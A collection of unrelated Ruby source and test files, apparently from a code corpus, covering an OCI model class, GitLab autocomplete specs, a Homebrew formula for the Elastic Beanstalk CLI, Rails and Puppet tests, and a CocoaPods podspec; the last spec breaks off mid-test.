Layout/EmptyLines # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /^Array<(.*)>/i # check to ensure the input is an array given that the the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) public_method("#{key}=").call( attributes[self.class.attribute_map[key]] .map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) } ) end elsif !attributes[self.class.attribute_map[key]].nil? public_method("#{key}=").call( OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]]) ) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # rubocop:enable Metrics/AbcSize, Layout/EmptyLines # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = public_method(attr).call next if value.nil? && !instance_variable_defined?("@#{attr}") hash[param] = _to_hash(value) end hash end private # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end # rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
53.5
365
0.728143
ed043bacf3184a928180489dab2610aefba76668
8,587
# frozen_string_literal: true require 'spec_helper' RSpec.describe Projects::AutocompleteService do describe '#issues' do describe 'confidential issues' do let(:author) { create(:user) } let(:assignee) { create(:user) } let(:non_member) { create(:user) } let(:member) { create(:user) } let(:admin) { create(:admin) } let(:project) { create(:project, :public) } let!(:issue) { create(:issue, project: project, title: 'Issue 1') } let!(:security_issue_1) { create(:issue, :confidential, project: project, title: 'Security issue 1', author: author) } let!(:security_issue_2) { create(:issue, :confidential, title: 'Security issue 2', project: project, assignees: [assignee]) } it 'does not list project confidential issues for guests' do autocomplete = described_class.new(project, nil) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).not_to include security_issue_1.iid expect(issues).not_to include security_issue_2.iid expect(issues.count).to eq 1 end it 'does not list project confidential issues for non project members' do autocomplete = described_class.new(project, non_member) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).not_to include security_issue_1.iid expect(issues).not_to include security_issue_2.iid expect(issues.count).to eq 1 end it 'does not list project confidential issues for project members with guest role' do project.add_guest(member) autocomplete = described_class.new(project, non_member) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).not_to include security_issue_1.iid expect(issues).not_to include security_issue_2.iid expect(issues.count).to eq 1 end it 'lists project confidential issues for author' do autocomplete = described_class.new(project, author) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).to include security_issue_1.iid expect(issues).not_to include security_issue_2.iid expect(issues.count).to eq 2 end it 'lists project confidential issues for assignee' do autocomplete = described_class.new(project, assignee) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).not_to include security_issue_1.iid expect(issues).to include security_issue_2.iid expect(issues.count).to eq 2 end it 'lists project confidential issues for project members' do project.add_developer(member) autocomplete = described_class.new(project, member) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).to include security_issue_1.iid expect(issues).to include security_issue_2.iid expect(issues.count).to eq 3 end context 'when admin mode is enabled', :enable_admin_mode do it 'lists all project issues for admin', :enable_admin_mode do autocomplete = described_class.new(project, admin) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).to include security_issue_1.iid expect(issues).to include security_issue_2.iid expect(issues.count).to eq 3 end end context 'when admin mode is disabled' do it 'does not list project confidential issues for admin' do autocomplete = described_class.new(project, admin) issues = autocomplete.issues.map(&:iid) expect(issues).to include issue.iid expect(issues).not_to include security_issue_1.iid expect(issues).not_to include security_issue_2.iid expect(issues.count).to eq 1 end end end end describe '#milestones' do let(:user) { create(:user) } let(:group) { create(:group) } let(:project) { create(:project, group: group) } let!(:group_milestone1) { create(:milestone, group: group, due_date: '2017-01-01', title: 'Second Title') } let!(:group_milestone2) { create(:milestone, group: group, due_date: '2017-01-01', title: 'First Title') } let!(:project_milestone) { create(:milestone, project: project, due_date: '2016-01-01') } let(:milestone_titles) { described_class.new(project, user).milestones.map(&:title) } it 'includes project and group milestones and sorts them correctly' do expect(milestone_titles).to eq([project_milestone.title, group_milestone2.title, group_milestone1.title]) end it 'does not include closed milestones' do group_milestone1.close expect(milestone_titles).to eq([project_milestone.title, group_milestone2.title]) end it 'does not include milestones from other projects in the group' do other_project = create(:project, group: group) project_milestone.update!(project: other_project) expect(milestone_titles).to eq([group_milestone2.title, group_milestone1.title]) end context 'with nested groups' do let(:subgroup) { create(:group, :public, parent: group) } let!(:subgroup_milestone) { create(:milestone, group: subgroup) } before do project.update!(namespace: subgroup) end it 'includes project milestones and all acestors milestones' do expect(milestone_titles).to match_array( [project_milestone.title, group_milestone2.title, group_milestone1.title, subgroup_milestone.title] ) end end end describe '#contacts' do let_it_be(:user) { create(:user) } let_it_be(:group) { create(:group, :crm_enabled) } let_it_be(:project) { create(:project, group: group) } let_it_be(:contact_1) { create(:contact, group: group) } let_it_be(:contact_2) { create(:contact, group: group) } subject { described_class.new(project, user).contacts.as_json } before do stub_feature_flags(customer_relations: true) group.add_developer(user) end it 'returns contact data correctly' do expected_contacts = [ { 'id' => contact_1.id, 'email' => contact_1.email, 'first_name' => contact_1.first_name, 'last_name' => contact_1.last_name }, { 'id' => contact_2.id, 'email' => contact_2.email, 'first_name' => contact_2.first_name, 'last_name' => contact_2.last_name } ] expect(subject).to match_array(expected_contacts) end end describe '#labels_as_hash' do def expect_labels_to_equal(labels, expected_labels) expect(labels.size).to eq(expected_labels.size) extract_title = lambda { |label| label['title'] } expect(labels.map(&extract_title)).to match_array(expected_labels.map(&extract_title)) end let(:user) { create(:user) } let(:group) { create(:group, :nested) } let!(:sub_group) { create(:group, parent: group) } let(:project) { create(:project, :public, group: group) } let(:issue) { create(:issue, project: project) } let!(:label1) { create(:label, project: project) } let!(:label2) { create(:label, project: project) } let!(:sub_group_label) { create(:group_label, group: sub_group) } let!(:parent_group_label) { create(:group_label, group: group.parent, group_id: group.id) } before do create(:group_member, group: group, user: user) end it 'returns labels from project and ancestor groups' do service = described_class.new(project, user) results = service.labels_as_hash(nil) expected_labels = [label1, label2, parent_group_label] expect_labels_to_equal(results, expected_labels) end context 'some labels are already assigned' do before do issue.labels << label1 end it 'marks already assigned as set' do service = described_class.new(project, user) results = service.labels_as_hash(issue) expected_labels = [label1, label2, parent_group_label] expect_labels_to_equal(results, expected_labels) assigned_label_titles = issue.labels.map(&:title) results.each do |hash| if assigned_label_titles.include?(hash['title']) expect(hash[:set]).to eq(true) else expect(hash.key?(:set)).to eq(false) end end end end end end
37.17316
131
0.669035
9123fa728c7a3fc0304276e9c18fd436cb992b96
517
module DIDWW module Resource class TrunkGroup < Base has_many :trunks property :name, type: :string # Type: String # Description: Trunk Group name property :capacity_limit, type: :integer # Type: Integer # Description: maximum number of simultaneous calls for the trunk property :created_at, type: :time # Type: DateTime # Description: Trunk Group created at DateTime def trunks_count meta[:trunks_count] end end end end
21.541667
71
0.642166
1a9b43305ec96193faf76ae498e52e029f3ff670
9,806
class AwsElasticbeanstalk < Formula include Language::Python::Virtualenv desc "Client for Amazon Elastic Beanstalk web service" homepage "https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/eb-cli3.html" url "https://files.pythonhosted.org/packages/84/0e/0df616d87aaa363454dbf342f7f3996bf036c1a4d5dbf64e8f046fd89142/awsebcli-3.19.2.tar.gz" sha256 "bd5221c26b3c7eb64597c6ae03b76c2025ed210e68d3702819bdfa1afb015230" license "Apache-2.0" revision 1 livecheck do url :stable end bottle do cellar :any sha256 "665585db115e65f850fb9ba0dc61e5db70477a75ac9e621727377e9b2cc56e55" => :big_sur sha256 "2df427b7811edba430e96430c4424c747a6c758c6d5b3109ffcc75ad505296a1" => :arm64_big_sur sha256 "db6db3ecc962a7da8a57dfa25b1f9b32404cdebd9777815edbb42c31c51535ef" => :catalina sha256 "0c4578e3cbc966243f385bcfb90e545434a00b36dafbf7745456dbd4cb97c43d" => :mojave end depends_on "[email protected]" uses_from_macos "libffi" on_linux do depends_on "pkg-config" => :build end resource "attrs" do url "https://files.pythonhosted.org/packages/81/d0/641b698d05f0eaea4df4f9cebaff573d7a5276228ef6b7541240fe02f3ad/attrs-20.2.0.tar.gz" sha256 "26b54ddbbb9ee1d34d5d3668dd37d6cf74990ab23c828c2888dccdceee395594" end resource "bcrypt" do url "https://files.pythonhosted.org/packages/d8/ba/21c475ead997ee21502d30f76fd93ad8d5858d19a3fad7cd153de698c4dd/bcrypt-3.2.0.tar.gz" sha256 "5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29" end resource "blessed" do url "https://files.pythonhosted.org/packages/f1/42/415316ca799d8df60832b51cc493935e70ea6bc02f68430e7ac3982304ca/blessed-1.17.11.tar.gz" sha256 "7d4914079a6e8e14fbe080dcaf14dee596a088057cdc598561080e3266123b48" end resource "botocore" do url "https://files.pythonhosted.org/packages/1f/d7/093e99b3003c334a1f22caea206a17ba35e36b02681f2683e99021686b90/botocore-1.19.6.tar.gz" sha256 "97d03523324dfff078aac12f88304f73038d449e10e05d378993fb3a22727c42" end resource "cached-property" do url "https://files.pythonhosted.org/packages/61/2c/d21c1c23c2895c091fa7a91a54b6872098fea913526932d21902088a7c41/cached-property-1.5.2.tar.gz" sha256 "9fa5755838eecbb2d234c3aa390bd80fbd3ac6b6869109bfc1b499f7bd89a130" end resource "cement" do url "https://files.pythonhosted.org/packages/70/60/608f0b8975f4ee7deaaaa7052210d095e0b96e7cd3becdeede9bd13674a1/cement-2.8.2.tar.gz" sha256 "8765ed052c061d74e4d0189addc33d268de544ca219b259d797741f725e422d2" end resource "certifi" do url "https://files.pythonhosted.org/packages/40/a7/ded59fa294b85ca206082306bba75469a38ea1c7d44ea7e1d64f5443d67a/certifi-2020.6.20.tar.gz" sha256 "5930595817496dd21bb8dc35dad090f1c2cd0adfaf21204bf6732ca5d8ee34d3" end resource "cffi" do url "https://files.pythonhosted.org/packages/66/6a/98e023b3d11537a5521902ac6b50db470c826c682be6a8c661549cb7717a/cffi-1.14.4.tar.gz" sha256 "1a465cbe98a7fd391d47dce4b8f7e5b921e6cd805ef421d04f5f66ba8f06086c" end resource "chardet" do url "https://files.pythonhosted.org/packages/fc/bb/a5768c230f9ddb03acc9ef3f0d4a3cf93462473795d18e9535498c8f929d/chardet-3.0.4.tar.gz" sha256 "84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae" end resource "colorama" do url "https://files.pythonhosted.org/packages/82/75/f2a4c0c94c85e2693c229142eb448840fba0f9230111faa889d1f541d12d/colorama-0.4.3.tar.gz" sha256 "e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" end resource "cryptography" do url "https://files.pythonhosted.org/packages/94/5c/42de91c7fbdb817b2d9a4e64b067946eb38a4eb36c1a09c96c87a0f86a82/cryptography-3.2.1.tar.gz" sha256 "d3d5e10be0cf2a12214ddee45c6bd203dab435e3d83b4560c03066eda600bfe3" end resource "docker" do url "https://files.pythonhosted.org/packages/b3/48/014af5285463adb8079f32f603c0d6d19c16d92a113ebacc6b07522dcff5/docker-4.3.1.tar.gz" sha256 "bad94b8dd001a8a4af19ce4becc17f41b09f228173ffe6a4e0355389eef142f2" end resource "docker-compose" do url "https://files.pythonhosted.org/packages/0a/43/e71f087c308f7d7566449212ecaf3e02323e6dd0f5b9b6b0fb64cbfd4df6/docker-compose-1.25.5.tar.gz" sha256 "7a2eb6d8173fdf408e505e6f7d497ac0b777388719542be9e49a0efd477a50c6" end resource "dockerpty" do url "https://files.pythonhosted.org/packages/8d/ee/e9ecce4c32204a6738e0a5d5883d3413794d7498fe8b06f44becc028d3ba/dockerpty-0.4.1.tar.gz" sha256 "69a9d69d573a0daa31bcd1c0774eeed5c15c295fe719c61aca550ed1393156ce" end resource "docopt" do url "https://files.pythonhosted.org/packages/a2/55/8f8cab2afd404cf578136ef2cc5dfb50baa1761b68c9da1fb1e4eed343c9/docopt-0.6.2.tar.gz" sha256 "49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491" end resource "future" do url "https://files.pythonhosted.org/packages/00/2b/8d082ddfed935f3608cc61140df6dcbf0edea1bc3ab52fb6c29ae3e81e85/future-0.16.0.tar.gz" sha256 "e39ced1ab767b5936646cedba8bcce582398233d6a627067d4c6a454c90cfedb" end resource "idna" do url "https://files.pythonhosted.org/packages/ea/b7/e0e3c1c467636186c39925827be42f16fee389dc404ac29e930e9136be70/idna-2.10.tar.gz" sha256 "b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6" end resource "jmespath" do url "https://files.pythonhosted.org/packages/3c/56/3f325b1eef9791759784aa5046a8f6a1aff8f7c898a2e34506771d3b99d8/jmespath-0.10.0.tar.gz" sha256 "b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9" end resource "jsonschema" do url "https://files.pythonhosted.org/packages/69/11/a69e2a3c01b324a77d3a7c0570faa372e8448b666300c4117a516f8b1212/jsonschema-3.2.0.tar.gz" sha256 "c8a85b28d377cc7737e46e2d9f2b4f44ee3c0e1deac6bf46ddefc7187d30797a" end resource "paramiko" do url "https://files.pythonhosted.org/packages/cf/a1/20d00ce559a692911f11cadb7f94737aca3ede1c51de16e002c7d3a888e0/paramiko-2.7.2.tar.gz" sha256 "7f36f4ba2c0d81d219f4595e35f70d56cc94f9ac40a6acdf51d6ca210ce65035" end resource "pathspec" do url "https://files.pythonhosted.org/packages/84/2a/bfee636b1e2f7d6e30dd74f49201ccfa5c3cf322d44929ecc6c137c486c5/pathspec-0.5.9.tar.gz" sha256 "54a5eab895d89f342b52ba2bffe70930ef9f8d96e398cccf530d21fa0516a873" end resource "pycparser" do url "https://files.pythonhosted.org/packages/0f/86/e19659527668d70be91d0369aeaa055b4eb396b0f387a4f92293a20035bd/pycparser-2.20.tar.gz" sha256 "2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0" end resource "PyNaCl" do url "https://files.pythonhosted.org/packages/cf/5a/25aeb636baeceab15c8e57e66b8aa930c011ec1c035f284170cacb05025e/PyNaCl-1.4.0.tar.gz" sha256 "54e9a2c849c742006516ad56a88f5c74bf2ce92c9f67435187c3c5953b346505" end resource "pyrsistent" do url "https://files.pythonhosted.org/packages/4d/70/fd441df751ba8b620e03fd2d2d9ca902103119616f0f6cc42e6405035062/pyrsistent-0.17.3.tar.gz" sha256 "2e636185d9eb976a18a8a8e96efce62f2905fea90041958d8cc2a189756ebf3e" end resource "python-dateutil" do url "https://files.pythonhosted.org/packages/be/ed/5bbc91f03fa4c839c4c7360375da77f9659af5f7086b7a7bdda65771c8e0/python-dateutil-2.8.1.tar.gz" sha256 "73ebfe9dbf22e832286dafa60473e4cd239f8592f699aa5adaf10050e6e1823c" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/64/c2/b80047c7ac2478f9501676c988a5411ed5572f35d1beff9cae07d321512c/PyYAML-5.3.1.tar.gz" sha256 "b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d" end resource "requests" do url "https://files.pythonhosted.org/packages/da/67/672b422d9daf07365259958912ba533a0ecab839d4084c487a5fe9a5405f/requests-2.24.0.tar.gz" sha256 "b3559a131db72c33ee969480840fff4bb6dd111de7dd27c8ee1f820f4f00231b" end resource "semantic-version" do url "https://files.pythonhosted.org/packages/8e/0e/33052dd97ab9d07dae8ddffcfb2740efe58c46d72efbc060cf6da250439f/semantic_version-2.5.0.tar.gz" sha256 "3baad35dcb074a49419539cea6a33b484706b6c2dd03f05b67763eba4c1bb65c" end resource "six" do url "https://files.pythonhosted.org/packages/6b/34/415834bfdafca3c5f451532e8a8d9ba89a21c9743a0c59fbd0205c7f9426/six-1.15.0.tar.gz" sha256 "30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259" end resource "termcolor" do url "https://files.pythonhosted.org/packages/8a/48/a76be51647d0eb9f10e2a4511bf3ffb8cc1e6b14e9e4fab46173aa79f981/termcolor-1.1.0.tar.gz" sha256 "1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b" end resource "texttable" do url "https://files.pythonhosted.org/packages/f5/be/716342325d6d6e05608e3a10e15f192f3723e454a25ce14bc9b9d1332772/texttable-1.6.3.tar.gz" sha256 "ce0faf21aa77d806bbff22b107cc22cce68dc9438f97a2df32c93e9afa4ce436" end resource "urllib3" do url "https://files.pythonhosted.org/packages/76/d9/bbbafc76b18da706451fa91bc2ebe21c0daf8868ef3c30b869ac7cb7f01d/urllib3-1.25.11.tar.gz" sha256 "8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2" end resource "wcwidth" do url "https://files.pythonhosted.org/packages/25/9d/0acbed6e4a4be4fc99148f275488580968f44ddb5e69b8ceb53fc9df55a0/wcwidth-0.1.9.tar.gz" sha256 "ee73862862a156bf77ff92b09034fc4825dd3af9cf81bc5b360668d425f3c5f1" end resource "websocket_client" do url "https://files.pythonhosted.org/packages/8b/0f/52de51b9b450ed52694208ab952d5af6ebbcbce7f166a48784095d930d8c/websocket_client-0.57.0.tar.gz" sha256 "d735b91d6d1692a6a181f2a8c9e0238e5f6373356f561bb9dc4c7af36f452010" end def install virtualenv_install_with_resources end test do output = shell_output("#{bin}/eb init --region=us-east-1 --profile=homebrew-test", 4) assert_match("ERROR: InvalidProfileError - The config profile (homebrew-test) could not be found", output) end end
46.695238
147
0.825209
ffdff9ae09e6a0fc1d3355345a287a8890fefc2b
1,773
# encoding: utf-8 class CreateEolLogging < EOL::LoggingMigration def self.up ActiveRecord::Migration.raise_error_if_in_production # Basically, I want to throw an error if we're not using MySQL, while at the same time providing the framework # for adding other DB support in the future... if ActiveRecord::Base.connection.class == ActiveRecord::ConnectionAdapters::Mysql2Adapter || ActiveRecord::Base.connection.class == Octopus::Proxy # could be using ActiveReload (Masochism) as we are now in testing # I was having trouble running the whole thing at once, so I'll break it up by command: # Note that this assumes that the file has been DOS-ified. IO.read(Rails.root.join('db', "eol_logging.sql")).to_s.split(/;\s*[\r\n]+/).each do |cmd| next if cmd =~ /^\/\*!40101 SET/ if cmd =~ /\w/m # Only run commands with text in them. :) A few were "\n\n". connection.execute cmd.strip end end else # Perhaps not the right error class to throw, but I'm not aware of good alternatives: raise ActiveRecord::IrreversibleMigration.new("Migration error: Unsupported database for initial schema--this was not written portably.") end end def self.down ActiveRecord::Migration.raise_error_if_in_production connection.drop_table "activities" connection.drop_table "api_logs" connection.drop_table "collection_activity_logs" connection.drop_table "community_activity_logs" connection.drop_table "curator_activity_logs" connection.drop_table "external_link_logs" connection.drop_table "ip_addresses" connection.drop_table "search_logs" connection.drop_table "translated_activities" connection.drop_table "user_activity_logs" end end
46.657895
143
0.72476
38579ebdf562eb184d588e6d650e92ae9c8cba5b
2,481
require 'test_helper' class UserTest < ActiveSupport::TestCase # test "the truth" do # assert true # end def setup @user = User.new(name: "Sample User", email: "[email protected]", password: "foobar", password_confirmation: "foobar") end test "should be valid" do assert @user.valid? end test "name should be present" do @user.name = " " assert_not @user.valid? end test "email should be present" do @user.email = " " assert_not @user.valid? end test "name should not be too long" do @user.name = "a" * 51 assert_not @user.valid? end test "email should not be too long" do @user.email = "a" * 244 + "@example.com" assert_not @user.valid? end test "email validation should accept valid addresses" do valid_addresses = ["[email protected]", "[email protected]", "[email protected]", "[email protected]", "[email protected]"] valid_addresses.each do |valid_address| @user.email = valid_address assert @user.valid?, "#{valid_address.inspect} should be valid" end end test "email validation should reject invalid addresses" do invalid_addresses = ["user@example,com", "USER_at_SAMPLE.COM", "user.name@example", "first.last@foo_baz.com", "foo@baz+bat.cn", "[email protected]"] invalid_addresses.each do |invalid_address| @user.email = invalid_address assert_not @user.valid?, "#{invalid_address.inspect} should be invalid" end end test "email addresses should be unique" do duplicate_user = @user.dup duplicate_user.email = @user.email.upcase @user.save assert_not duplicate_user.valid? end test "email addresses should be saved as lowercase" do mixed_case_email = "[email protected]" @user.email = mixed_case_email @user.save assert_equal mixed_case_email.downcase, @user.reload.email end test "password should be present (nonblank)" do @user.password = @user.password_confirmation = " " * 6 assert_not @user.valid? end test "password should have a minimum length" do @user.password = @user.password_confirmation = "a" * 5 assert_not @user.valid? end test "authenticated? should return false for a user with nil digest" do assert_not @user.authenticated?('') end end
27.263736
120
0.624345
28aae4b24b79c2cb079d68c59bfed226f562f243
751
#!/usr/bin/env ruby # encoding: utf-8 __dir = File.dirname(File.expand_path(__FILE__)) require File.join(__dir, "example_helper") amq_client_example "Declare a new fanout exchange" do |client| puts "AMQP connection is open: #{client.connection.server_properties.inspect}" channel = AMQ::Client::Channel.new(client, 1) channel.open do puts "Channel #{channel.id} is now open!" end exchange = AMQ::Client::Exchange.new(client, channel, "amqclient.adapters.em.exchange1", :fanout) exchange.declare show_stopper = Proc.new { client.disconnect do puts puts "AMQP connection is now properly closed" Coolio::Loop.default.stop end } Signal.trap "INT", show_stopper Signal.trap "TERM", show_stopper end
25.896552
99
0.715047
3311bbc01246b2fd58a7000200b61ec888682061
4,612
# # Be sure to run `pod spec lint Panorama.podspec' to ensure this is a # valid spec and to remove all comments including this before submitting the spec. # # To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html # To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/ # Pod::Spec.new do |s| # ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # These will help people to find your library, and whilst it # can feel like a chore to fill in it's definitely to your advantage. The # summary should be tweet-length, and the description more in depth. # s.name = "Panorama" s.version = "0.0.1" s.summary = "implementation of the photo tilt gesture/UX found in Facebook's Paper app." s.description = <<-DESC implementation of the photo tilt gesture/UX found in Facebook's Paper app. DESC s.homepage = "https://github.com/iSame7/Panorama" # s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif" # ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # Licensing your code is important. See http://choosealicense.com for more info. # CocoaPods will detect a license file if there is a named LICENSE* # Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'. # s.license = "MIT (example)" # s.license = { :type => "MIT", :file => "FILE_LICENSE" } # ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # Specify the authors of the library, with email addresses. Email addresses # of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also # accepts just a name if you'd rather not provide an email address. # # Specify a social_media_url where others can refer to, for example a twitter # profile URL. # s.author = "Sameh Mabrouk" # s.social_media_url = "http://twitter.com/Nicholas Tau" # ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # If this Pod runs only on iOS or OS X, then specify the platform and # the deployment target. You can optionally include the target after the platform. # # s.platform = :ios # s.platform = :ios, "5.0" # When using multiple platforms # s.ios.deployment_target = "5.0" # s.osx.deployment_target = "10.7" # ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # Specify the location from where the source should be retrieved. # Supports git, hg, bzr, svn and HTTP. # # s.source = { :git => "[email protected]:iSame7/Panorama.git"} # ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # CocoaPods is smart about how it includes source code. For source files # giving a folder will include any h, m, mm, c & cpp files. For header # files it will include any header in the folder. # Not including the public_header_files will make all headers public. # s.source_files = "Panorama/PanoramaView.{h,m}", "Panorama/UIScrollView+PanoramaIndicator.{h,m}" # s.public_header_files = "Classes/**/*.h" # ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # A list of resources included with the Pod. These are copied into the # target bundle with a build phase script. Anything else will be cleaned. # You can preserve files from being cleaned, please don't preserve # non-essential files like tests, examples and documentation. # # s.resource = "icon.png" # s.resources = "Resources/*.png" # s.preserve_paths = "FilesToSave", "MoreFilesToSave" # ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # Link your library with frameworks, or libraries. Libraries do not include # the lib prefix of their name. # # s.framework = "SomeFramework" # s.frameworks = "SomeFramework", "AnotherFramework" # s.library = "iconv" # s.libraries = "iconv", "xml2" # ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― # # # If your library depends on compiler flags you can set them in the xcconfig hash # where they will only apply to your library. If you depend on other Podspecs # you can include multiple dependencies to ensure it works. # s.requires_arc = true # s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" } # s.dependency "JSONKit", "~> 1.4" end
35.751938
98
0.590633
7aa0f002491cd9d35c1f7fdda5b90eaedd39a36d
12,044
require 'spec_helper' describe 'Puppet::Type::Service::Provider::Gentoo', unless: Puppet::Util::Platform.windows? || Puppet::Util::Platform.jruby? do let(:provider_class) { Puppet::Type.type(:service).provider(:gentoo) } before :each do allow(Puppet::Type.type(:service)).to receive(:defaultprovider).and_return(provider_class) allow(Puppet::FileSystem).to receive(:file?).with('/sbin/rc-update').and_return(true) allow(Puppet::FileSystem).to receive(:executable?).with('/sbin/rc-update').and_return(true) allow(Facter).to receive(:value).with(:operatingsystem).and_return('Gentoo') allow(Facter).to receive(:value).with(:osfamily).and_return('Gentoo') # The initprovider (parent of the gentoo provider) does a stat call # before it even tries to execute an initscript. We use sshd in all the # tests so make sure it is considered present. sshd_path = '/etc/init.d/sshd' allow(Puppet::FileSystem).to receive(:stat).with(sshd_path).and_return(double('stat')) end let :initscripts do [ 'alsasound', 'bootmisc', 'functions.sh', 'hwclock', 'reboot.sh', 'rsyncd', 'shutdown.sh', 'sshd', 'vixie-cron', 'wpa_supplicant', 'xdm-setup' ] end let :helperscripts do [ 'functions.sh', 'reboot.sh', 'shutdown.sh' ] end let :process_output do Puppet::Util::Execution::ProcessOutput.new('', 0) end describe ".instances" do it "should have an instances method" do expect(provider_class).to respond_to(:instances) end it "should get a list of services from /etc/init.d but exclude helper scripts" do allow(Puppet::FileSystem).to receive(:directory?).and_call_original allow(Puppet::FileSystem).to receive(:directory?).with('/etc/init.d').and_return(true) expect(Dir).to receive(:entries).with('/etc/init.d').and_return(initscripts) (initscripts - helperscripts).each do |script| expect(Puppet::FileSystem).to receive(:executable?).with("/etc/init.d/#{script}").and_return(true) end helperscripts.each do |script| expect(Puppet::FileSystem).not_to receive(:executable?).with("/etc/init.d/#{script}") end allow(Puppet::FileSystem).to receive(:symlink?).and_return(false) expect(provider_class.instances.map(&:name)).to eq([ 'alsasound', 'bootmisc', 'hwclock', 'rsyncd', 'sshd', 'vixie-cron', 'wpa_supplicant', 'xdm-setup' ]) end end describe "#start" do it "should use the supplied start command if specified" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :start => '/bin/foo')) expect(provider).to receive(:execute).with(['/bin/foo'], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) provider.start end it "should start the service with <initscript> start otherwise" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd')) expect(provider).to receive(:execute).with(['/etc/init.d/sshd',:start], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:search).with('sshd').and_return('/etc/init.d/sshd') provider.start end end describe "#stop" do it "should use the supplied stop command if specified" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :stop => '/bin/foo')) expect(provider).to receive(:execute).with(['/bin/foo'], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) provider.stop end it "should stop the service with <initscript> stop otherwise" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd')) expect(provider).to receive(:execute).with(['/etc/init.d/sshd',:stop], :failonfail => true, :override_locale => false, :squelch => false, :combine => true) expect(provider).to receive(:search).with('sshd').and_return('/etc/init.d/sshd') provider.stop end end describe "#enabled?" do before :each do allow_any_instance_of(provider_class).to receive(:update).with(:show).and_return(File.read(my_fixture('rc_update_show'))) end it "should run rc-update show to get a list of enabled services" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd')) expect(provider).to receive(:update).with(:show).and_return("\n") provider.enabled? end ['hostname', 'net.lo', 'procfs'].each do |service| it "should consider service #{service} in runlevel boot as enabled" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => service)) expect(provider.enabled?).to eq(:true) end end ['alsasound', 'xdm', 'netmount'].each do |service| it "should consider service #{service} in runlevel default as enabled" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => service)) expect(provider.enabled?).to eq(:true) end end ['rsyncd', 'lighttpd', 'mysql'].each do |service| it "should consider unused service #{service} as disabled" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => service)) expect(provider.enabled?).to eq(:false) end end end describe "#enable" do it "should run rc-update add to enable a service" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd')) expect(provider).to receive(:update).with(:add, 'sshd', :default) provider.enable end end describe "#disable" do it "should run rc-update del to disable a service" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd')) expect(provider).to receive(:update).with(:del, 'sshd', :default) provider.disable end end describe "#status" do describe "when a special status command is specified" do it "should use the status command from the resource" do provider = provider_class.new(Puppet::Type.type(:service).new(:name => 'sshd', :status => '/bin/foo')) expect(provider).not_to receive(:execute).with(['/etc/init.d/sshd',:status], :failonfail => false, :override_locale => false, :squelch => false, :combine => 